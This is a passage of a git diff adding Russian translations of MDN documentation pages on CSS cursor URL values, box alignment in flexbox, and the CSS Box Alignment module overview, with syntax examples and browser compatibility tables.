+   <td>{{Spec2("CSS3 Basic UI")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "ui.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/css/css_basic_user_interface/использование_url_значений_для_свойства_cursor/index.html b/files/ru/web/css/css_basic_user_interface/использование_url_значений_для_свойства_cursor/index.html
new file mode 100644
index 0000000000..c629b7bffd
--- /dev/null
+++ b/files/ru/web/css/css_basic_user_interface/использование_url_значений_для_свойства_cursor/index.html
@@ -0,0 +1,120 @@
+---
+title: Использование URL значений для свойства cursor
+slug: >-
+  Web/CSS/CSS_Basic_User_Interface/Использование_URL_значений_для_свойства_cursor
+tags:
+  - CSS
+  - Gecko
+  - Справка
+  - справочник
+translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property
+---
+<div>{{cssref}}</div>
+
+<p><a href="/en-US/docs/Mozilla/Gecko">Gecko</a> 1.8 (<a href="/en-US/Firefox/Releases/1.5">Firefox 1.5</a>, SeaMonkey 1.0) поддерживает URL-значения для CSS свойства {{cssxref("cursor")}} в Windows и Linux. Поддержка Mac была добавлена в Gecko 2 (Firefox 4). Это позволяет устанавливать произвольные изображения в качестве курсора мыши — может быть использовать любой формат изображений, поддерживаемый Gecko.</p>
+
+<h3 id="Синтаксис">Синтаксис</h3>
+
+<p>Базовый (CSS 2.1) синтаксис для этого свойства:</p>
+
+<pre class="syntaxbox">cursor:  [&lt;url&gt;,]* ключевое_слово</pre>
+
+<p>Это означает, что устанавливать можно любое количество URL'ов (отделенных запятой), которые должны сопровождаться одним из ключевых слов, определеннымы спецификацией CSS, таких как <code>auto</code> или <code>pointer</code>.</p>
+
+<p>Например, такая последовательность значений допустима:</p>
+
+<pre class="brush: css;">cursor:  url(foo.cur), url(http://www.example.com/bar.gif), auto;</pre>
+
+<p>В первую очередь браузер пытается загрузить <em>foo.cur</em>. Если такой файл отсутствует или его форма не допустим по каким-то другим причинам, то дальше загружается <em>bar.gif</em>. И если он также не может быть использован, будет использовано значение <code>auto</code>.</p>
+
+<p>Поддержка CSS 3 синтаксиса для указания курсора была добавлена в Gecko 1.8 (Firefox 1.5):</p>
+
+<pre class="syntaxbox">cursor:  [&lt;uri&gt; [&lt;x&gt; &lt;y&gt;]?,]* ключевое_слово</pre>
+
+<p>Это позволяет устанавливать координаты смещения курсора, которые буду зафиксированы на границах курсора. Если координаты не указаны, то они считываются непосредственно из файла (для CUR и XBM файлов) или же устанавливаются в левый верхний угол изображения.</p>
+
+<p>Пример CSS 3 синтаксиса:</p>
+
+<pre class="brush: css;">.foo  {
+  cursor:  auto;
+  cursor:  url(cursor1.png) 4 12, auto;
+}
+
+.bar  {
+  cursor:  pointer;
+  cursor:  url(cursor2.png) 2 2, pointer;
+}
+
+/* откатываются на 'auto' и 'pointer' в IE, но должны быть установлены отдельны */
+</pre>
+
+<p>Первое число определяет координату по оси x, а вторая - по оси y. Данный пример сместит изображение на точку (4,12) относительно левого верхнего угла (0,0).</p>
+
+<h3 id="Ограничения">Ограничения</h3>
+
+<p>Могут быть использованы любые форматы, поддерживаемые Gecko. Это означает, что вы можете использовать PNG, GIF, JPG, BMP, CUR и т.д. ANI не поддерживается. Анимированные PNG и GIF не добавят анимацию курсору.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Начиная с Gecko 2.0 {{geckoRelease("2.0")}}, Gecko также поддерживает формат SVG в качестве изображения курсора. Тем не менее, SVG изображение должно содержать значения (кроме процентных значений) высоты и ширины на корневом <code>SVG</code> узле. JavaScript, CSS анимация и декларативный SMIL внутри SVG изображения игнорируются; например, вы не можете использовать SVG, чтобы создать анимированный курсор.</p>
+</div>
+
+<p>В Gecko (Firefox) максимальный размер курсора - 128×128 пикселей. Изображения большего размера игнорируются. Однако, вам следую ограничиться рамером курсора в 32×32 пикселя для максимальной совместимости с операционными системами и платформами.</p>
+
+<p>(В следствие бага Gecko 1.9.2-1.9.2.6, Firefox 3.6-3.6.6 в Windows ограничивает размер в 32x32 пикселя. Это исправляется в более новых версиях.)</p>
+
+<p>Прозрачные курсоры не поддерживаются в версиях Windows ниже XP. Это ограничение для операционной системы. Прозрачность работает на любых платформах.</p>
+
+<p>URL в качестве курсора поддерживаются в Windows, OS/2, и Linux (с использованием GTK+ 2.4 или выше) версиях Mozilla. Поддержка Mac OS X была добавлена в Gecko 2 (Firefox 4).</p>
+
+<h3 id="Совместимость_с_другими_браузерами">Совместимость с другими браузерами</h3>
+
+<p>Microsoft Internet Explorer 6.0 также поддерживает URI значения для свойства <code>cursor</code>. Тем не менее:</p>
+
+<ul>
+ <li>IE поддерживает только CUR и ANI форматы.</li>
+ <li>IE не поддерживает CSS 3 синтаксис с x- и y-координатами. Изображение курсора и дальнейшее свойство игнорируются.</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Браузер</th>
+   <th>Ранняя версия</th>
+   <th>Форматы</th>
+   <th>x-y-координаты</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>6.0</strong></td>
+   <td><code>.cur | .ani</code></td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko), Windows и Linux</td>
+   <td><strong>1.5</strong> (1.8)</td>
+   <td><code>.cur | .png | .gif | .jpg</code></td>
+   <td>1.5 (1.8)</td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>4.0</strong> (2.0)</td>
+   <td><code>.cur | .png | .gif | .jpg | .svg</code></td>
+   <td>(Gecko 2.0)</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td rowspan="2">Safari (Webkit)</td>
+   <td><strong>3.0</strong> (522-523)</td>
+   <td><code>.cur | .png | .gif | .jpg</code></td>
+   <td rowspan="2">3.0 (522-523)</td>
+  </tr>
+  <tr>
+   <td colspan="2">Начиная с OS X 10.5, Safari (Mac) поддерживает <code> .cur </code>файлы</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html
new file mode 100644
index 0000000000..0dc1ecbeca
--- /dev/null
+++ b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html
@@ -0,0 +1,119 @@
+---
+title: Выравнивание блоков в разметке Flexbox
+slug: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
+tags:
+  - CSS
+  - flexbox
+  - выравнивание блоков
+translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Спецификация <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">Выравнивание Блоков</a> подробно описывает, как выравнивание работает при использовании различных способов разметки.</span> <span title="">На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox.</span> <span title="">Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, ее следует читать вместе с основной страницей <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">выравнивания блоков</a>, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.</span></span></p>
+
+<h2 id="Основной_пример">Основной пример</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">В этом примере три элемента flex выровнены по главной оси с помощью атрибута {{cssxref ("justify-content")}} и по поперечной оси с помощью атрибута {{cssxref ("align-items")}}.</span> <span title="">Первый элемент переопределяет значения <code>align-items</code>, устанавливая значение атрибута {{cssxref ("align-self")}} в  <code>center</code>.</span></span></p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/flex-align-items.html", '100%', 500)}}</p>
+
+<h2 id="Оси_и_атрибут_flex-direction">Оси и атрибут flex-direction</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Разметка flexbox следует согласно режиму чтения документа (<a href="https://developer.mozilla.org/ru/docs/Web/CSS/writing-mode">writing mode</a>), поэтому, если вы используете английский язык и устанавливаете атрибут {{cssxref ("justify-content")}} в значение <code>flex-end</code>,  то элементы будут выровнены по концу flex контейнера.</span> <span title="">Если вы работаете со значением атрибута {{cssxref ("flex-direction")}}, установленным в <code>row</code>, то выравнивание будет происходить в линейном направлении.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Однако, работая с разметкой flexbox, вы можете изменить поведение главной оси, установив значение атрибута <code>flex-direction</code> в <code>column</code>.</span> <span title="">В этом случае, атрибут <code>justify-content</code> будет выравнивать элементы в направлении блока.</span> <span title="">Поэтому проще всего думать о главной и поперечной осях при работе с разметкой Flexbox следующим образом:</span></span></p>
+
+<ul>
+ <li>Главная ось = направление согласно атрибуту <code>flex-direction</code> = выравнивание через атрибут <code>justify-content</code></li>
+ <li>Поперечная ось = проходит поперек главной оси = выравниваие через атрибут <code>align-content</code>, <code>align-self</code>/<code>align-items</code></li>
+</ul>
+
+<h3 id="Выравнивание_по_Главной_Оси">Выравнивание по Главной Оси</h3>
+
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+</ul>
+
+<h3 id="Выравнивание_по_Поперечной_Оси">Выравнивание по Поперечной Оси</h3>
+
+<ul>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+</ul>
+
+<h3 id="Отсутствие_атрибута_justify-self_в_разметке_Flexbox">Отсутствие атрибута justify-self в разметке Flexbox</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">При использовании разметки flexbox, главная ось работает с нашим контентом как с группой.</span> <span title="">Количество места, необходимого для размещения элементов, рассчитывается, а оставшееся пространство становится доступным для заполнения.</span> <span title="">Атрибут <code>justify-content</code> контролирует использование оставшегося пространства.</span> <span title="">Если установить атрибут <code>justify-content</code> в значение <code>flex-end</code>, то дополнительное пространство заполнится перед элементами, если установить атрибут <code>justify-content</code> в значение <code>space-around</code>, то пространство заполнится с обеих сторон элемента в этом измерении и т. д.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Это означает, что атрибут <code>justify-self</code> нет имеет смысла использовать в разметке flexbox, поскольку мы всегда имеем дело с перемещением всей группы элементов.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Использовать атрибут <code>align-self</code> имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещен и в начало, и в конец.</span></span></p>
+
+<h2 id="Выравнивание_и_свойство_margin_auto">Выравнивание и свойство margin: auto</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут <code>justify-self</code>. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации.</span> <span title="">В таком случае, можно использовать атрибут <code>margin</code> со значеним <code>auto</code>.</span> <span title="">Атрибут с таким значением будет занимать все доступное пространство в своем измерении.</span> <span title="">Так работает центрирование блока со свойством <code>margin:auto</code>.</span> <span title="">Установив значение атрибутов <code>margin-left</code> и <code>margin-right</code> в значение <code>auto</code>, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Установив значение атрибута{{cssxref ("margin")}} в <code>auto</code> для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделенную навигацию.</span> <span title="">Это хорошо работает с разметкой flexbox и свойствами выравнивания.</span> <span title="">Как только для элемента со свойством <code>margin: auto</code> не остается свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объеме, пытаясь уместиться в доступное пространство.</span></span></p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}</p>
+
+<h2 id="Атрибуты_разрыва">Атрибуты разрыва</h2>
+
+<ul>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+
+<h3 id="Создание_разрыва_фиксированного_размера_между_элементами">Создание разрыва фиксированного размера между элементами</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">На главной оси атрибут <code>column-gap</code> будет создавать разрывы фиксированного размера между соседними элементами.</span><br>
+ <br>
+ <span title="">На поперечной оси атрибут <code>row-gap</code> создает разрыв между соседними flex линиями, поэтому необходимо также установить атрибут <code>flex-wrap</code> в значение <code>wrap</code>, чтобы применить эффект.</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Начиная с версии 63, Firefox является единственным браузером, в котором реализованы свойства разрыва в разметке Flexbox.</span></span></p>
+</div>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<h3 id="CSS_Атрибуты">CSS Атрибуты</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("place-content")}}</li>
+ <li>{{cssxref("justify-items")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Словарь_терминов">Словарь терминов</h3>
+
+<div class="index">
+<ul>
+ <li>{{Glossary("Cross axis")}}</li>
+ <li>{{Glossary("Main axis")}}</li>
+</ul>
+</div>
+
+<h2 id="Руководства">Руководства</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Выравнивание в разметке flexbox</a></li>
+</ul>
+
+<h2 id="Внешние_ресурсы">Внешние ресурсы</h2>
+
+<ul>
+ <li><a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Шпаргалка по выравниваю блоков</a></li>
+ <li><a href="https://www.smashingmagazine.com/2016/11/css-grids-flexbox-box-alignment-new-layout-standard/">CSS разметки Grid, Flexbox и выравнивание блоков</a></li>
+ <li><a href="https://blogs.igalia.com/jfernandez/2017/05/03/can-i-use-css-box-alignment/">Размышления о частичной реализации выравнивания блоков</a></li>
+</ul>
diff --git a/files/ru/web/css/css_box_alignment/index.html b/files/ru/web/css/css_box_alignment/index.html
new file mode 100644
index 0000000000..90d8eea440
--- /dev/null
+++ b/files/ru/web/css/css_box_alignment/index.html
@@ -0,0 +1,245 @@
+---
+title: Выравнивание полей CSS
+slug: Web/CSS/CSS_Box_Alignment
+translation_of: Web/CSS/CSS_Box_Alignment
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Модуль CSS Box Alignment определяет CSS-функции, которые относятся к выравниванию ящиков в различных моделях макета CSS: макет блока, макет таблицы, гибкая макет и макет сетки. Модуль нацелен на создание согласованного метода выравнивания по всем CSS. В этом документе описываются общие понятия, содержащиеся в спецификации.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Документация для каждого метода макета будет подробно описана, как там применяется шкала выравнивания.</p>
+</div>
+
+<h2 id="Старые_методы_выравнивания">Старые методы выравнивания</h2>
+
+<p>У CSS традиционно были очень ограниченные возможности выравнивания. Мы могли выровнять текст, используя {{cssxref("text-align")}}, центральные блоки, используя auto {{cssxref("margin")}}s, а в макетах таблицы или встроенного блока, используя {{cssxref("vertical-align")}} свойство. Выравнивание текста теперь покрывается модулями <a href="https://www.w3.org/TR/css-inline-3/">Inline Layout</a> и <a href="https://www.w3.org/TR/css-text-3/">CSS Text</a>, и впервые в Box Alignment мы имеем полные возможности горизонтального и вертикального выравнивания.</p>
+
+<p>Если вы изначально узнали <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, вы можете считать эти свойства частью спецификации Flexbox и некоторые из свойств действительно перечислены в Level 1 Flexbox. Однако в спецификации отмечается, что спецификация Box Alignment должна рассматриваться, поскольку она может добавить дополнительные возможности по сравнению с тем, что в настоящее время находится в Flexbox.</p>
+
+<h2 id="Основные_примеры">Основные примеры</h2>
+
+<p>Следующие примеры демонстрируют, как некоторые из Box Alignment Properties применяются в <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">Grid</a> and <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>.</p>
+
+<h3 id="Пример_выравнивания_раскладки_сетки_CSS">Пример выравнивания раскладки сетки CSS</h3>
+
+<p>В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путем установки {{cssxref("align-self")}} в центр.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}</p>
+
+<h3 id="Пример_выравнивания_Flexbox">Пример выравнивания Flexbox</h3>
+
+<p>В этом примере три элемента гибкости выровнены по главной оси с использованием <code>justify-content</code> и на поперечной оси с использованием <code>align-items</code>. Первый элемент переопределяет <code>align-items</code>, заданные в группе <code>align-self</code> по <code>center</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/flex-align-items.html", '100%', 500)}}</p>
+
+<h2 id="Ключевые_понятия_и_терминология">Ключевые понятия и терминология</h2>
+
+<p>Спецификация описывает некоторую терминологию выравнивания, чтобы упростить обсуждение этих свойств выравнивания вне их реализации в рамках конкретного метода компоновки. Существуют также некоторые ключевые концепции, которые являются общими для всех методов макета.</p>
+
+<h3 id="Связь_с_режимами_записи">Связь с режимами записи</h3>
+
+<p>Выравнивание связано с режимами записи, когда мы выравниваем элемент, который мы не рассматриваем, если мы сопоставляем его с физическими размерами сверху, справа, снизу и слева. Вместо этого мы описываем выравнивание с точки зрения начала и конца конкретного измерения, с которым мы работаем. Это гарантирует, что выравнивание работает так же, как в режиме записи, который имеет документ.</p>
+
+<h3 id="Два_измерения_выравнивания">Два измерения выравнивания</h3>
+
+<p>При использовании свойств выравнивания ячеек вы выровняете содержимое по одной из двух осей - inline (или main) оси и block (или cross) оси. Внутренняя ось - это ось, по которой используются слова в потоке предложения в режиме записи - для английского языка, например, встроенная ось горизонтальна. Ось блока - это ось, вдоль которой выложены блоки, такие как элементы абзаца, и проходит по оси Inline.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15952/two-axes.png"><img alt="" src="https://mdn.mozillademos.org/files/15952/two-axes.png" style="height: 260px; width: 480px;"></p>
+
+<p>При выравнивании элементов на встроенной оси вы будете использовать свойства, начинающиеся с <code>justify-</code>:</p>
+
+<ul>
+ <li>{{cssxref("justify-items")}}</li>
+ <li>{{cssxref("justify-self")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+</ul>
+
+<p>При выравнивании элементов на оси блока вы будете использовать свойства, которые начинаются с <code>align-</code>:</p>
+
+<ul>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+</ul>
+
+<p>Flexbox добавляет дополнительное усложнение в том, что указанное выше верно, когда {{cssxref("flex-direction")}} установлено в <code>row</code>. Свойства меняются местами, когда flexbox установлен в <code>column</code>. Поэтому при работе с flexbox легче думать о главной и поперечной оси, а не о линии и блоке. Свойства <code>justify-</code> всегда используются для выравнивания по главной оси, <code>align-</code> на поперечной оси.</p>
+
+<h3 id="The_alignment_subject">The alignment subject</h3>
+
+<p><strong>Объект выравнивания</strong> - это то, что выровнено. Для <code>justify-self</code>, или <code>align-self</code>, или при настройке этих значений как группы с <code>justify-items</code> или <code>align-items</code> это будет поле элемента, в котором используется это свойство. Свойства <code>justify-content</code> и <code>align-content</code> различаются для каждого метода макета.</p>
+
+<h3 id="The_alignment_container">The alignment container</h3>
+
+<p><strong>Контейнер выравнивания</strong> - это поле, в котором объект выравнивается внутри. Обычно это будет блок, содержащий объект выравнивания. Контейнер выравнивания может содержать один или несколько объектов выравнивания.</p>
+
+<p>На приведенном ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15953/align-container-subjects.png" style="height: 170px; width: 248px;"></p>
+
+<h3 id="Fallback_alignment">Fallback alignment</h3>
+
+<p>Если вы установите выравнивание, которое не может быть выполнено, тогда <strong>возвратное выравнивания</strong> вступит в игру и обработает доступное пространство. Это резервное выравнивание указывается отдельно для каждого метода макета и подробно описано на странице для этого метода.</p>
+
+<h2 id="Типы_выравнивания">Типы выравнивания</h2>
+
+<p>Существует три различных типа выравнивания, которые специфицируют детали; они используют значения ключевых слов.</p>
+
+<ul>
+ <li><strong>Positional alignment</strong> (выравнивание положения): указание положения объекта выравнивания относительно его контейнера выравнивания.</li>
+ <li><strong>Baseline alignment</strong> (исходное выравнивание): эти ключевые слова определяют выравнивание как взаимосвязь между базовыми линиями нескольких объектов выравнивания в контексте выравнивания.</li>
+ <li><strong>Distributed alignment</strong> (распределенное выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.</li>
+</ul>
+
+<h3 id="Значения_ключевых_слов_позиционирования">Значения ключевых слов позиционирования</h3>
+
+<p>Следующие значения определены для позиционного выравнивания и могут использоваться в качестве значений для выравнивания содержимого с <code>justify-content</code> и <code>align-content</code>, а также для самовыравнивания с <code>justify-self</code> и <code>align-self</code>.</p>
+
+<ul>
+ <li><code>center</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>self-start</code></li>
+ <li><code>self-end</code></li>
+ <li><code>flex-start</code> for Flexbox only</li>
+ <li><code>flex-end</code> for Flexbox only</li>
+ <li><code>left</code></li>
+ <li><code>right</code></li>
+</ul>
+
+<p>Помимо физических значений <code>left</code> и <code>right</code>, которые относятся к физическим атрибутам экрана, все остальные значения являются логическими значениями и относятся к режиму записи содержимого.</p>
+
+<p>Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение <code>justify-content</code> <code>start</code>, это приведет к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение <code>start</code> приведет к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.</p>
+
+<p>Оба этих примера имеют <code>justify-content: start</code>, однако местоположение начала изменяется в соответствии с режимом записи.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15956/writing-mode-start.png" style="height: 101px; width: 478px;"></p>
+
+<h3 id="Исходное_выравнивание">Исходное выравнивание</h3>
+
+<p>Ключевые слова выравнивания базовой линии используются для выравнивания базовых линий ящиков по группе субъектов выравнивания. Они могут использоваться в качестве значений для выравнивания контента с помощью <code>justify-content</code> и <code>align-content</code>, а также для самовыравнивания с <code>justify-self</code> и <code>align-self</code>.</p>
+
+<ul>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<p>Исходное выравнивание содержимого - указание значения выравнивания базовой линии для <code>justify-content</code> или <code>align-content</code> - работает в методах макета, которые содержат элементы в строках. Объекты выравнивания выравниваются по базовой линии друг к другу, добавляя в них поля.</p>
+
+<p>Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путем добавления поля за пределами полей. Self alignment - это использование <code>justify-self</code> или <code>align-self</code> или при настройке этих значений в виде группы с <code>justify-items</code> и <code>align-items</code>.</p>
+
+<h3 id="Distributed_alignment">Distributed alignment</h3>
+
+<p><strong>Ключевые слова расспеределенного выравнивания</strong> используются с параметрами <code>align-content</code> и <code>justify-content</code>. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:</p>
+
+<ul>
+ <li><code>stretch</code></li>
+ <li><code>space-between</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-evenly</code></li>
+</ul>
+
+<p>Например, элементы Flex Layout сначала выровнены с использованием <code>flex-start.</code> Работая в горизонтальном верхнем и нижнем режимах записи, таком как русский, с <code>flex-direction</code> в виде <code>row</code> элементы начинаются в крайнем левом углу и любое свободное место после отображения элементов помещается после элементов.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15954/justify-content-start.png" style="height: 100px; width: 559px;"></p>
+
+<p>Если вы устанавливаете <code>justify-content: space-between</code> в контейнере flex, доступное пространство теперь разделяется и помещается между элементами.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15955/justify-content-space-between.png" style="height: 100px; width: 559px;"></p>
+
+<p>Для того, чтобы эти ключевые слова вступили в силу, должно быть доступно пространство в измерении, для которого вы хотите выровнять элементы. Без места, нечего распространять.</p>
+
+<h2 id="Выравнивание_переполнения">Выравнивание переполнения</h2>
+
+<p><code>safe</code> и <code>unsafe</code> ключевые слова помогают определить поведение, когда объект выравнивания больше, чем контейнер выравнивания. Ключевое слово <code>safe</code> будет выравниваться для <code>start</code> в случае заданного выравнивания, вызывающего переполнение, целью которого является избежать «потери данных», когда часть элемента находится за пределами границ контейнера выравнивания и не может быть прокручена до.</p>
+
+<p>Если вы укажете <code>unsafe</code>, выравнивание будет выполнено, даже если это приведет к такой потере данных.</p>
+
+<h2 id="Пробелы_между_boxes">Пробелы между boxes</h2>
+
+<p>Спецификация выравнивания коробки также включает свойства <code>gap</code>, <code>row-gap</code> и <code>column-gap</code> . Эти свойства позволяют установить постоянный разрыв между элементами в строке или столбце в любом методе макета, который имеет элементы, расположенные таким образом.</p>
+
+<p>Свойство <code>gap</code> является сокращением для <code>row-gap</code> и <code>column-gap</code>, что позволяет сразу установить эти свойства:</p>
+
+<ul>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+
+<p>В приведенном ниже примере макет сетки использует сокращенную <code>gap</code>, чтобы установить разрыв <code>10px</code> между дорожками строк и <code>2em</code> разрыв между дорожками столбцов.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-gap.html", '100%', 500)}}</p>
+
+<p>В этом примере я использую свойство {{cssxref("grid-gap")}} в дополнение к {{cssxref("gap")}}. Первоначальные свойства зазора были предварительно префиксными <code>grid-</code> в спецификации Grid Layout, а некоторые браузеры поддерживают только эти префиксные версии.</p>
+
+<ul>
+ <li>{{cssxref("grid-row-gap")}}</li>
+ <li>{{cssxref("grid-column-gap")}}</li>
+ <li>{{cssxref("grid-gap")}}</li>
+</ul>
+
+<p>Префиксные версии будут поддерживаться как псевдоним неподписанных, однако вы всегда можете удвоить так, как это было бы с префиксами поставщика, добавив свойство <code>grid-gap</code>, а затем свойство <code>gap</code> с теми же значениями.</p>
+
+<p>Кроме того, имейте в виду, что другие вещи могут увеличить визуальный промежуток, отображаемый, например, используя ключевые слова распределения пространства или добавляя поля к элементам.</p>
+
+<h2 id="Страницы_детализирующие_индивидуальные_свойства_выравнивания">Страницы, детализирующие индивидуальные свойства выравнивания</h2>
+
+<p>Поскольку свойства выравнивания полей CSS реализованы по-разному в зависимости от спецификации, с которой они взаимодействуют, обратитесь к следующим страницам для каждого типа макета для получения подробных сведений о том, как использовать с ним свойства выравнивания:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox">Box alignment in Flexbox</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Grid_Layout">Box alignment in CSS Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Multi-column_Layout">Box alignment in multiple-column layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Block_Abspos_Tables">Box alignment for block, absolutely positioned and table layout</a></li>
+</ul>
+
+<h2 id="Справка">Справка</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("place-content")}}</li>
+ <li>{{cssxref("justify-items")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("place-items")}}</li>
+ <li>{{cssxref("justify-self")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("place-self")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Glossary_Entries">Glossary Entries</h3>
+
+<div class="index">
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Glossary/Cross_Axis">Cross axis</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Glossary/Main_Axis">Main axis</a></li>
+ <li><a href="/en-US/docs/Glossary/Alignment_Container">Alignment container</a></li>
+ <li><a href="/en-US/docs/Glossary/Alignment_Subject">Alignment subject</a></li>
+ <li><a href="/en-US/docs/Glossary/Fallback_Alignment">Fallback alignment</a></li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li>CSS Flexbox guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic concepts of Flexbox</a></em></li>
